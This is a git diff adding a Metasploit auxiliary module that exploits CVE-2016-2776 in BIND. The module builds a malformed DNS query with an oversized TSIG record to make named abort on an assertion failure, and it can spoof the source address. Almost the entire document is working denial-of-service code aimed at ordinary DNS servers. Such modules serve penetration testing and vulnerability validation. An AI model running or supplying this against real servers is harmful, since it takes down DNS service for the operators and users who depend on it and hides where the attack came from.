diff --git a/modules/auxiliary/dos/dns/bind_tsig.rb b/modules/auxiliary/dos/dns/bind_tsig.rb
new file mode 100644
index 0000000000..b88cb02cb6
--- /dev/null
+++ b/modules/auxiliary/dos/dns/bind_tsig.rb
@@ -0,0 +1,99 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Exploit::Capture
+  include Msf::Auxiliary::UDPScanner
+  include Msf::Auxiliary::Dos
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'BIND TKEY Query Denial of Service',
+      'Description'    => %q{
+        A defect in the rendering of messages into packets can cause named to
+        exit with an assertion failure in buffer.c while constructing a response
+        to a query that meets certain criteria.
+
+        This assertion can be triggered even if the apparent source address
+        isn't allowed to make queries.
+      },
+      # Research and Original PoC - msf module author
+      'Author'         => [
+        'Martin Rocha',
+        'Ezequiel Tavella',
+        'Alejandro Parodi',
+        'Infobyte Research Team'
+      ],
+      'References'     => [
+        ['CVE', '2016-2776'],
+        ['URL', 'http://blog.infobytesec.com/2016/10/a-tale-of-dns-packet-cve-2016-2776.html']
+      ],
+      'DisclosureDate' => 'Sep 27 2016',
+      'License'        => MSF_LICENSE,
+      'DefaultOptions' => {'ScannerRecvWindow' => 0}
+    ))
+
+    register_options([
+      Opt::RPORT(53),
+      OptAddress.new('SRC_ADDR', [false, 'Source address to spoof'])
+    ])
+
+    deregister_options('PCAPFILE', 'FILTER', 'SNAPLEN', 'TIMEOUT')
+  end
+
+  def scan_host(ip)
+    if datastore['SRC_ADDR']
+      scanner_spoof_send(payload, ip, rport, datastore['SRC_ADDR'])
+    else
+      print_status("Sending packet to #{ip}")
+      scanner_send(payload, ip, rport)
+    end
+  end
+
+  def payload
+    query = Rex::Text.rand_text_alphanumeric(2)  # Transaction ID: 0x8f65
+    query << "\x00\x00"  # Flags: 0x0000 Standard query
+    query << "\x00\x01"  # Questions: 1
+    query << "\x00\x00"  # Answer RRs: 0
+    query << "\x00\x00"  # Authority RRs: 0
+    query << "\x00\x01"  # Additional RRs: 1
+
+    # Doman Name
+    query << get_domain   # Random DNS Name
+    query << "\x00"      # [End of name]
+    query << "\x00\x01"  # Type: A (Host Address) (1)
+    query << "\x00\x01"  # Class: IN (0x0001)
+
+    # Aditional records. Name
+    query << ("\x3f"+Rex::Text.rand_text_alphanumeric(63))*3 #192 bytes
+    query << "\x3d"+Rex::Text.rand_text_alphanumeric(61)
+    query << "\x00"
+
+    query << "\x00\xfa" # Type: TSIG (Transaction Signature) (250)
+    query << "\x00\xff" # Class: ANY (0x00ff)
+    query << "\x00\x00\x00\x00" # Time to live: 0
+    query << "\x00\xfc" # Data length: 252
+
+    # Algorithm Name
+    query << ("\x3f"+Rex::Text.rand_text_alphanumeric(63))*3 #Random 192 bytes
+    query << "\x1A"+Rex::Text.rand_text_alphanumeric(26) #Random 26 bytes
+    query << "\x00"
+
+    # Rest of TSIG
+    query << "\x00\x00"+Rex::Text.rand_text_alphanumeric(4) # Time Signed: Jan  1, 1970 03:15:07.000000000 ART
+    query << "\x01\x2c" # Fudge: 300
+    query << "\x00\x10" # MAC Size: 16
+    query <<  Rex::Text.rand_text_alphanumeric(16) # MAC
+    query << "\x8f\x65" # Original Id: 36709
+    query << "\x00\x00" # Error: No error (0)
+    query << "\x00\x00" # Other len: 0
+  end
+
+  def get_domain
+    domain = "\x06"+Rex::Text.rand_text_alphanumeric(6)
+    org = "\x03"+Rex::Text.rand_text_alphanumeric(3)
+    domain+org
+  end
+end